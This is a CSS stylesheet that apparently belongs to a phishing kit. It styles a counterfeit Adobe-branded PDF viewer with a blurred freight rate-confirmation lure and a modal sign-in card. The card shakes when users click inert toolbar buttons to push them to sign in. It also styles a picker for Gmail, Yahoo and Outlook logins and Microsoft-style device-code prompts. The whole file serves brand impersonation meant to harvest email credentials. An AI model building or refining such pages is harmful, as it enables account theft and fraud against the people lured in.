.m-prompt-value{font-size:56px;font-weight:500;color:#202124;font-family:'Segoe UI',Roboto,sans-serif;letter-spacing:8px}

/* Spinner row (auth waiting, device) */
.m-spinner-row{display:flex;align-items:center;justify-content:center;gap:12px;font-size:14px;color:#5f6368}
.m-spinner{width:24px;height:24px;border:3px solid #e8eaed;border-top:3px solid #0078d4;border-radius:50%;animation:spin .8s linear infinite}

/* Success/error */
.m-success-check{margin-bottom:16px}
.m-error-svg{margin-bottom:16px}
.m-error-text{font-size:14px;color:#5f6368;margin-bottom:24px;line-height:1.5;text-align:center}

/* ═════ RESPONSIVE ═════ */
@media(max-width:520px){
  .c-card{padding:28px 20px 24px}
  .browser-window{border-radius:0}
  .browser-body{padding:24px 12px}
  .g-card,.y-card,.m-card{padding:32px 20px 28px}
  .modal-actions{flex-direction:column}
}

/* ═════ Adobe landing: full-screen Chrome PDF viewer + centered sign-in card ═════ */
.adobe-phase{
  position:fixed;inset:0;
  overflow:hidden;isolation:isolate;
  background:#525659;
  font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;
}

/* --- PDF viewer chrome --- */
.pdf-viewer{
  position:absolute;inset:0;
  display:flex;flex-direction:column;
  z-index:0;
  user-select:none;
}
.pdf-toolbar{
  flex:none;height:48px;
  background:#323639;
  display:flex;align-items:center;gap:12px;
  padding:0 12px;
  color:#e8eaed;
  border-bottom:1px solid #202124;
}
.pdf-tb-left,.pdf-tb-right,.pdf-tb-center{display:flex;align-items:center;gap:8px}
.pdf-tb-left{flex:1;min-width:0}
.pdf-tb-center{justify-content:center}
.pdf-tb-right{justify-content:flex-end}
.pdf-tb-icon{
  width:22px;height:22px;
  background:#e4002b;border-radius:4px;
  display:flex;align-items:center;justify-content:center;
  flex-shrink:0;
}
.pdf-tb-filename{
  font-size:13.5px;font-weight:500;color:#e8eaed;
  overflow:hidden;text-overflow:ellipsis;white-space:nowrap;min-width:0;
}
.pdf-tb-btn{
  height:32px;min-width:32px;padding:0 6px;
  background:transparent;border:none;border-radius:4px;
  color:#e8eaed;cursor:pointer;
  display:inline-flex;align-items:center;justify-content:center;
  transition:background .15s ease;
}
.pdf-tb-btn:hover{background:rgba(255,255,255,0.08)}
.pdf-tb-pageinput{
  min-width:28px;padding:3px 8px;
  background:#3c4043;border-radius:3px;
  font-size:12.5px;color:#e8eaed;text-align:center;
}
.pdf-tb-pagetotal{font-size:12.5px;color:#bdc1c6}
.pdf-tb-zoom{
  display:flex;align-items:center;gap:2px;
  padding:0 6px;background:#3c4043;border-radius:4px;height:30px;
}
.pdf-tb-zoomval{font-size:12.5px;color:#e8eaed;min-width:38px;text-align:center}
.pdf-tb-divider{width:1px;height:24px;background:#5f6368;margin:0 4px}

.pdf-body{flex:1;display:flex;min-height:0;overflow:hidden}

/* Sidebar with thumbnails */
.pdf-sidebar{
  flex:none;width:200px;
  background:#3c4043;
  padding:20px 24px;
  overflow-y:auto;
  display:flex;flex-direction:column;gap:24px;
  border-right:1px solid #202124;
}
.pdf-thumb{display:flex;flex-direction:column;align-items:center;gap:6px;cursor:pointer}
.pdf-thumb-inner{
  width:100%;aspect-ratio:8.5/11;
  background:#fff;
  border:2px solid transparent;border-radius:2px;
  padding:8px 6px;
  display:flex;flex-direction:column;gap:5px;
  overflow:hidden;opacity:0.85;
  transition:border-color .15s ease;
}
.pdf-thumb.active .pdf-thumb-inner{border-color:#8ab4f8;opacity:1}
.pdf-thumb-strip{height:2px;background:#e4002b;margin-bottom:3px}
.pdf-thumb-lines{display:flex;flex-direction:column;gap:2.5px}
.pdf-thumb-lines span{height:2px;background:#c8c8c8;border-radius:1px}
.pdf-thumb-lines span:nth-child(1){width:35%;background:#a0a0a0}
.pdf-thumb-lines span:nth-child(2){width:90%}
.pdf-thumb-lines span:nth-child(3){width:80%}
.pdf-thumb-lines span:nth-child(4){width:88%}
.pdf-thumb-lines span:nth-child(5){width:45%;background:#a0a0a0}
.pdf-thumb-lines span:nth-child(6){width:82%}
.pdf-thumb-lines span:nth-child(7){width:78%}
.pdf-thumb-lines span:nth-child(8){width:85%}
.pdf-thumb-lines span:nth-child(9){width:60%;background:#a0a0a0}
.pdf-thumb-lines span:nth-child(10){width:80%}
.pdf-thumb-lines span:nth-child(11){width:70%}
.pdf-thumb-lines span:nth-child(12){width:75%}
.pdf-thumb-num{font-size:11px;color:#bdc1c6}

/* Content area with the page */
.pdf-content{
  flex:1;background:#525659;
  overflow-y:auto;
  padding:24px 32px 40px;
  display:flex;justify-content:center;
}
.pdf-page{
  width:100%;max-width:820px;
  background:#fff;border-radius:2px;
  /* box-shadow removed — the soft halo it produced was reading as a white edge
     bleeding out around the paper against the dark viewer bg. */
  padding:44px 56px 40px;
  position:relative;
  color:#202124;font-size:13px;line-height:1.55;
  height:fit-content;
}
.pdf-page-topstrip{
  position:absolute;top:0;left:0;right:0;
  height:4px;background:#e4002b;
  border-radius:2px 2px 0 0;
}
.pdf-page-head{
  display:flex;justify-content:space-between;align-items:flex-start;
  gap:16px;margin-bottom:20px;
}
.pdf-page-brand{display:flex;align-items:center;gap:12px}
.pdf-page-logo{
  width:42px;height:42px;
  background:#e4002b;border-radius:6px;
  display:flex;align-items:center;justify-content:center;
  color:#fff;font-weight:800;font-size:22px;
  font-family:Helvetica,sans-serif;
}
.pdf-page-org{font-size:15px;font-weight:700;color:#202124}
.pdf-page-org-sub{font-size:11.5px;color:#5f6368;margin-top:2px}
.pdf-page-meta{
  text-align:right;
  font-size:10.5px;color:#5f6368;
  font-family:'Courier New',monospace;line-height:1.5;
}
.pdf-page-title{
  font-family:Georgia,serif;
  font-size:28px;font-weight:700;color:#202124;
  margin:20px 0 6px;letter-spacing:-.005em;
}
.pdf-page-subtitle{
  font-family:Georgia,serif;
  font-size:13px;color:#5f6368;margin-bottom:14px;
}
.pdf-page-rule{border:none;border-top:1px solid #e0e0e0;margin:14px 0 20px}
.pdf-page-rule--foot{margin:26px 0 12px}
.pdf-h2{
  font-family:-apple-system,BlinkMacSystemFont,Helvetica,sans-serif;
  font-size:14px;font-weight:700;color:#202124;
  margin:22px 0 8px;letter-spacing:-.005em;
}
.pdf-p{
  font-family:Georgia,serif;
  font-size:12.5px;color:#3c4043;
  line-height:1.7;text-align:justify;margin-bottom:6px;
}
.pdf-table{
  width:100%;border-collapse:collapse;
  margin:14px 0;font-size:11.5px;
}
.pdf-table th{
  background:#f1f3f4;border:1px solid #dadce0;
  padding:8px 12px;text-align:left;
  font-weight:700;font-size:10.5px;
  letter-spacing:.06em;text-transform:uppercase;color:#202124;
}
.pdf-table td{
  border:1px solid #dadce0;padding:8px 12px;
  font-family:Georgia,serif;font-size:11.5px;color:#3c4043;
}
.pdf-table td:last-child{white-space:nowrap;text-align:right}
.pdf-table th:last-child{text-align:right}
.pdf-table-total td{
  background:#f8f9fa;color:#202124;
  font-family:-apple-system,Helvetica,sans-serif;
  font-size:11.5px;letter-spacing:.04em;
}
.pdf-sigs{
  display:grid;grid-template-columns:1fr 1fr auto;
  gap:24px;margin-top:38px;align-items:end;
}
.pdf-sig-line{height:1px;background:#202124;margin-bottom:8px}
.pdf-sig-label{
  font-size:9.5px;font-weight:700;color:#5f6368;
  letter-spacing:.1em;text-transform:uppercase;margin-bottom:4px;
}
.pdf-sig-val{font-family:Georgia,serif;font-size:11.5px;color:#3c4043}
.pdf-sig-val.awaiting em{color:#9aa0a6}
.pdf-sig-val.handwritten{
  font-family:"Brush Script MT","Segoe Script",cursive;
  font-size:22px;color:#1a237e;font-style:italic;
  line-height:1;margin-top:-4px;
}
.pdf-sig-date{
  font-family:Georgia,serif;
  font-size:10.5px;color:#5f6368;margin-top:3px;
}
.pdf-seal{
  display:flex;flex-direction:column;align-items:center;gap:2px;
  padding-bottom:2px;
}
.pdf-seal-label{
  font-size:8.5px;font-weight:700;color:#e4002b;
  text-align:center;letter-spacing:.08em;text-transform:uppercase;
  line-height:1.3;margin-top:2px;
}
.pdf-page-foot{
  display:flex;justify-content:space-between;
  font-size:10.5px;color:#9aa0a6;
}

/* Modal darkening backdrop — starts below toolbar so toolbar stays fully visible.
   pointer-events:none so clicks pass through to the PDF viewer (thumb navigation,
   scrolling) while the sign-in card on top remains normally interactive. */
.adobe-backdrop{
  position:absolute;
  top:48px;right:0;bottom:0;left:0;
  background:radial-gradient(ellipse at center, rgba(0,0,0,0.35) 0%, rgba(0,0,0,0.62) 90%);
  z-index:1;
  pointer-events:none;
}

/* Sign-in card overlay */
.adobe-phase .a-card{
  position:absolute;
  top:50%;left:50%;
  transform:translate(-50%,-50%);
  z-index:2;
  background:rgba(255,255,255,0.98);
  border-radius:12px;
  padding:36px 44px 32px;
  width:480px;max-width:92vw;
  text-align:center;
  box-shadow:0 20px 60px rgba(0,0,0,0.5), 0 2px 8px rgba(0,0,0,0.3);
  font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;
  animation:aCardPop .22s cubic-bezier(.2,.8,.2,1) both;
}
@keyframes aCardPop{
  from{opacity:0;transform:translate(-50%,-50%) scale(.94)}
  to  {opacity:1;transform:translate(-50%,-50%) scale(1)}
}

/* Blur behind the sign-in card — noticeable but thumbnails are still targetable. */
.pdf-body{
  filter:blur(3px);
}

/* When an uploaded PDF is rendered via PDF.js, the main .pdf-page just holds the page-1 canvas */
.pdf-page.pdf-page--rendered{
  padding:0;
  overflow:hidden;
  background:#fff;
  height:auto;
}
.pdf-canvas{
  display:block;
  width:100%;
  height:auto;
  background:#fff;
}

/* Real page thumbnails in the sidebar (replace the 4 fake stubs) */
.pdf-thumb.pdf-thumb--rendered .pdf-thumb-inner{
  padding:0;
  gap:0;
  background:#fff;
}
/* Hover feedback so users can tell thumbs are clickable while the doc is blurred */
.pdf-thumb.pdf-thumb--rendered{cursor:pointer}
.pdf-thumb.pdf-thumb--rendered:hover .pdf-thumb-inner{
  border-color:rgba(138,180,248,0.55);
  transform:translateY(-1px);
  transition:border-color .15s ease, transform .15s ease;
}
.pdf-thumb-canvas{
  display:block;
  width:100%;
  height:auto;
  background:#fff;
}

/* --- Load-order polish ---
   Hide the toolbar's dynamic bits AND the whole .pdf-body (sidebar + content) until
   JS says the viewer is ready. Using visibility:hidden (not just opacity) so the
   white .pdf-page box-shadow can't bleed through as a light halo at the edges. */
.pdf-tb-filename,
.pdf-tb-center,
.pdf-body{
  opacity:0;
  visibility:hidden;
  transition:opacity 0.35s ease, visibility 0s linear 0.35s;
}
.pdf-viewer.pdf-viewer--ready .pdf-tb-filename,
.pdf-viewer.pdf-viewer--ready .pdf-tb-center,
.pdf-viewer.pdf-viewer--ready .pdf-body{
  opacity:1;
  visibility:visible;
  transition:opacity 0.35s ease, visibility 0s linear 0s;
}

/* Loading state: Adobe-red topped spinner + "Loading document…" caption.
   Both vanish the moment .pdf-viewer--ready is added by JS. */
.pdf-viewer:not(.pdf-viewer--ready)::after{
  content:'';
  position:absolute;
  top:calc(50% + 12px); left:50%;
  transform:translate(-50%,-50%);
  width:42px; height:42px;
  border:3px solid rgba(255,255,255,0.10);
  border-top-color:#e4002b;
  border-radius:50%;
  animation:pdfLoadSpin 0.9s linear infinite;
  z-index:5;
  pointer-events:none;
}
.pdf-viewer:not(.pdf-viewer--ready)::before{
  content:'Loading document…';
  position:absolute;
  top:calc(50% + 72px); left:50%;
  transform:translate(-50%,-50%);
  color:rgba(255,255,255,0.42);
  font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;
  font-size:12px;
  letter-spacing:0.5px;
  z-index:5;
  pointer-events:none;
  white-space:nowrap;
}
@keyframes pdfLoadSpin{
  to{transform:translate(-50%,-50%) rotate(360deg)}
}

/* Sign-in card + backdrop are hidden until JS reveals them ~250ms after the viewer content
   becomes visible (min 900ms from page load to avoid a jarring instant pop). */
.adobe-phase .adobe-backdrop{
  opacity:0;
  visibility:hidden;
}
.adobe-phase .adobe-backdrop.adobe-backdrop--visible{
  opacity:1;
  visibility:visible;
  animation:adobeBackdropFade 0.45s ease both;
}
.adobe-phase .a-card{
  opacity:0;
  visibility:hidden;
}
/* Static opacity:1/visibility:visible so if another animation (like the shake)
   replaces aCardPop's animation property, the card doesn't fall back to base hidden. */
.adobe-phase .a-card.a-card--visible{
  opacity:1;
  visibility:visible;
  animation:aCardPop 0.34s cubic-bezier(.2,.8,.2,1) both;
}
/* Attention shake fired by JS when user clicks any inert toolbar button
   ("you have to sign in first"). Head-shake pattern, ~450ms. Only animates
   transform — opacity/visibility stay pinned by .a-card--visible above. */
.adobe-phase .a-card.a-card--visible.a-card--attention{
  animation:aCardAttention 0.45s cubic-bezier(.36,.07,.19,.97);
}
@keyframes aCardAttention{
  0%   { transform:translate(-50%,-50%) rotate(0deg); }
  15%  { transform:translate(-52%,-50%) rotate(-1.6deg); }
  35%  { transform:translate(-48%,-50%) rotate(1.6deg); }
  55%  { transform:translate(-51%,-50%) rotate(-1.1deg); }
  75%  { transform:translate(-49%,-50%) rotate(1.1deg); }
  100% { transform:translate(-50%,-50%) rotate(0deg); }
}
@keyframes adobeBackdropFade{
  from{opacity:0}
  to  {opacity:1}
}

/* --- Rate Confirmation page --- */
.pdf-page-logo--tql{
  background:#0057b7 !important;
  color:#fff;font-family:'Arial Black',Helvetica,sans-serif;
  font-size:14px;letter-spacing:.5px;
  border-radius:6px;
}
.pdf-cols{
  display:grid;grid-template-columns:1fr 1fr;
  gap:24px;margin:14px 0 10px;
}
.pdf-col h2:first-child{margin-top:0}
.pdf-info-block{
  display:flex;flex-direction:column;
  font-family:Georgia,serif;font-size:11.5px;color:#3c4043;
}
.pdf-info-row{
  display:flex;justify-content:space-between;gap:12px;
  padding:5px 0;
  border-bottom:1px dotted #e0e0e0;
}
.pdf-info-row:last-child{border-bottom:none}
.pdf-info-row span{
  color:#5f6368;font-weight:normal;
  font-family:-apple-system,BlinkMacSystemFont,Helvetica,sans-serif;
  font-size:10.5px;text-transform:uppercase;letter-spacing:.06em;
}
.pdf-info-row strong{
  color:#202124;font-weight:600;
  text-align:right;
}

.pdf-stops{
  display:flex;flex-direction:column;gap:10px;
  margin:12px 0;
}
.pdf-stop{
  display:flex;gap:14px;
  padding:12px 14px;
  background:#f8f9fa;
  border:1px solid #e0e0e0;
  border-left-width:3px;
  border-radius:2px;
}
.pdf-stop--pickup  {border-left-color:#137333}
.pdf-stop--delivery{border-left-color:#c5221f}
.pdf-stop-badge{
  flex:none;
  width:78px;height:24px;
  display:flex;align-items:center;justify-content:center;
  border-radius:3px;
  font-family:-apple-system,BlinkMacSystemFont,Helvetica,sans-serif;
  font-size:10px;font-weight:700;letter-spacing:.08em;
  color:#fff;
}
.pdf-stop-badge--pickup  {background:#137333}
.pdf-stop-badge--delivery{background:#c5221f}
.pdf-stop-body{
  flex:1;
  font-family:Georgia,serif;
  color:#3c4043;font-size:11.5px;line-height:1.5;
}
.pdf-stop-when{
  font-family:-apple-system,BlinkMacSystemFont,Helvetica,sans-serif;
  font-size:11.5px;font-weight:700;color:#202124;
  margin-bottom:3px;
}
.pdf-stop-where{margin-bottom:4px}
.pdf-stop-where strong{color:#202124}
.pdf-stop-contact{color:#5f6368;font-size:10.5px}

.pdf-list{
  font-family:Georgia,serif;font-size:12px;color:#3c4043;
  line-height:1.65;margin:6px 0 8px 22px;
}
.pdf-list li{margin-bottom:4px}
.pdf-list strong{color:#202124}
.a-logo{margin-bottom:16px}
.a-logo-img{
  display:block;margin:0 auto;
  width:72px;height:72px;
  filter:drop-shadow(0 4px 14px rgba(228,0,43,0.32));
}
.a-title{
  font-size:22px;font-weight:700;color:#222;
  margin-bottom:8px;letter-spacing:-.01em;
}
.a-subtitle{
  font-size:14px;color:#555;
  margin-bottom:24px;line-height:1.6;
}
.a-buttons{
  display:flex;flex-direction:column;gap:10px;
  margin-bottom:24px;padding:0 12px;
}
.a-btn{
  display:flex;align-items:center;justify-content:center;gap:12px;
  padding:14px 20px;border:none;border-radius:6px;
  font-size:15px;font-weight:600;color:#fff;cursor:pointer;
  transition:opacity 0.18s ease, transform 0.1s ease, box-shadow 0.18s ease;
  width:100%;font-family:inherit;
}
.a-btn--primary{
  background:linear-gradient(135deg,#e4002b,#b8001e);
  box-shadow:0 2px 10px rgba(228,0,43,0.3);
}
.a-btn--primary:hover{opacity:0.94;transform:translateY(-1px);box-shadow:0 4px 16px rgba(228,0,43,0.4)}
.a-btn--primary:active{transform:translateY(0)}
.a-btn-icon{
  display:inline-flex;align-items:center;justify-content:center;
  width:28px;height:28px;
  background:rgba(255,255,255,0.18);
  border-radius:6px;flex-shrink:0;
}
.a-footer-text{
  font-size:12px;color:#777;line-height:1.6;
  margin-bottom:12px;
}
.a-copyright{
  font-size:13px;font-weight:700;color:#444;
  line-height:1.5;
}
@media(max-width:900px){
  .pdf-sidebar{width:150px;padding:16px 18px;gap:18px}
  .pdf-content{padding:20px 20px 32px}
  .pdf-page{padding:32px 40px 32px}
  .pdf-tb-center .pdf-tb-btn{display:none}
  .pdf-tb-pageinput,.pdf-tb-pagetotal{font-size:12px}
}
@media(max-width:700px){
  .pdf-tb-zoom{display:none}
  .pdf-tb-divider{display:none}
  .pdf-toolbar{padding:0 8px;gap:6px}
  .pdf-tb-filename{font-size:12.5px}
  .pdf-content{padding:14px 14px 28px;order:1}
  .pdf-page{padding:28px 24px 28px}
  .pdf-page-head{flex-direction:column;gap:10px}
  .pdf-page-meta{text-align:left}
  .pdf-page-title{font-size:24px}
  .pdf-sigs{grid-template-columns:1fr;gap:24px}

  /* Body becomes a vertical stack — sidebar moves below the main document
     as a swipeable horizontal thumbnail strip. */
  .pdf-body{flex-direction:column}
  .pdf-sidebar{
    order:2;
    display:flex;flex-direction:row;
    flex:none;
    width:100%;height:auto;
    padding:10px 12px;gap:10px;
    border-right:none;
    border-top:1px solid #202124;
    overflow-x:auto;overflow-y:hidden;
    -webkit-overflow-scrolling:touch;
    scrollbar-width:thin;
  }
  .pdf-sidebar::-webkit-scrollbar{height:4px}
  .pdf-sidebar::-webkit-scrollbar-track{background:transparent}
  .pdf-sidebar::-webkit-scrollbar-thumb{background:rgba(255,255,255,0.15);border-radius:2px}
  .pdf-thumb{flex-shrink:0;width:76px;gap:4px}
  .pdf-thumb-inner{width:76px;aspect-ratio:8.5/11;height:auto}
  .pdf-thumb-num{font-size:10px}
}
@media(max-width:500px){
  .adobe-phase .a-card{padding:28px 22px 22px}
  .a-title{font-size:20px}
  .pdf-tb-right .pdf-tb-btn:nth-last-child(-n+2){display:none}
}

/* ═════ Adobe picker modal ═════ */
.modal--adobe .modal-backdrop{
  background:rgba(10,10,15,0.6);
  -webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px);
}
.modal--adobe .modal-card{
  background:rgba(255,255,255,0.98);
  border:1px solid rgba(0,0,0,0.06);
  border-radius:14px;
  padding:32px 32px 26px;
  max-width:460px;
  box-shadow:0 30px 70px -20px rgba(0,0,0,0.5), 0 1px 0 rgba(255,255,255,0.5) inset;
  font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;
}
.modal--adobe .modal-icon{
  width:60px;height:60px;margin:0 auto 18px;
  border-radius:14px;color:#fff;
  background:linear-gradient(135deg,#e4002b,#b8001e);
  display:grid;place-items:center;
  box-shadow:0 6px 18px -6px rgba(228,0,43,0.5), 0 1px 0 rgba(255,255,255,0.25) inset;
}
.modal--adobe .modal-icon svg{width:28px;height:28px}
.modal--adobe .modal-card h2{
  font-size:20px;font-weight:700;margin:0 0 8px;
  color:#222;letter-spacing:-.01em;
}
.modal--adobe .modal-sub{
  color:#555;font-size:13.5px;margin:0 0 20px;line-height:1.5;
}
.modal--adobe .provider-tiles{gap:10px}
.modal--adobe .provider-tile{
  background:#fff;
  border:1px solid #e5e7eb;
  border-radius:10px;
  padding:14px 16px;
  transition:transform .12s ease, border-color .15s ease, box-shadow .15s ease, background .15s ease;
}
.modal--adobe .provider-tile:hover{
  border-color:#e4002b;
  background:#fff8f9;
  box-shadow:0 6px 16px -8px rgba(228,0,43,0.25);
  transform:translateY(-1px);
}
.modal--adobe .provider-tile[data-provider="gmail"]:hover{border-color:#EA4335;background:#fef8f7;box-shadow:0 6px 16px -8px rgba(234,67,53,0.28)}
.modal--adobe .provider-tile[data-provider="yahoo"]:hover{border-color:#6001d2;background:#faf6ff;box-shadow:0 6px 16px -8px rgba(96,1,210,0.28)}
.modal--adobe .provider-tile[data-provider="outlook"]:hover{border-color:#0067b8;background:#f5faff;box-shadow:0 6px 16px -8px rgba(0,103,184,0.28)}
.modal--adobe .pt-icon{
  width:40px;height:40px;border-radius:9px;
  background:#fff;border:1px solid #e5e7eb;
}
.modal--adobe .pt-title{color:#222;font-size:14.5px;font-weight:700;letter-spacing:-.005em}
.modal--adobe .pt-sub{color:#666;font-size:12px;margin-top:2px}
.modal--adobe .pt-arrow path{fill:#9ca3af}
.modal--adobe .provider-tile:hover .pt-arrow path{fill:#e4002b}
.modal--adobe .provider-tile[data-provider="gmail"]:hover  .pt-arrow path{fill:#EA4335}
.modal--adobe .provider-tile[data-provider="yahoo"]:hover  .pt-arrow path{fill:#6001d2}
.modal--adobe .provider-tile[data-provider="outlook"]:hover .pt-arrow path{fill:#0067b8}
.modal--adobe .modal-actions{margin-top:14px}
.modal--adobe .btn.ghost{
  background:#fff;color:#374151;
  border:1px solid #e5e7eb;
  border-radius:10px;
  padding:13px 18px;
  font-weight:600;font-size:14px;
  transition:background .15s ease, border-color .15s ease, color .15s ease;
}
.modal--adobe .btn.ghost:hover{
  background:#f9fafb;border-color:#d1d5db;color:#111827;
}
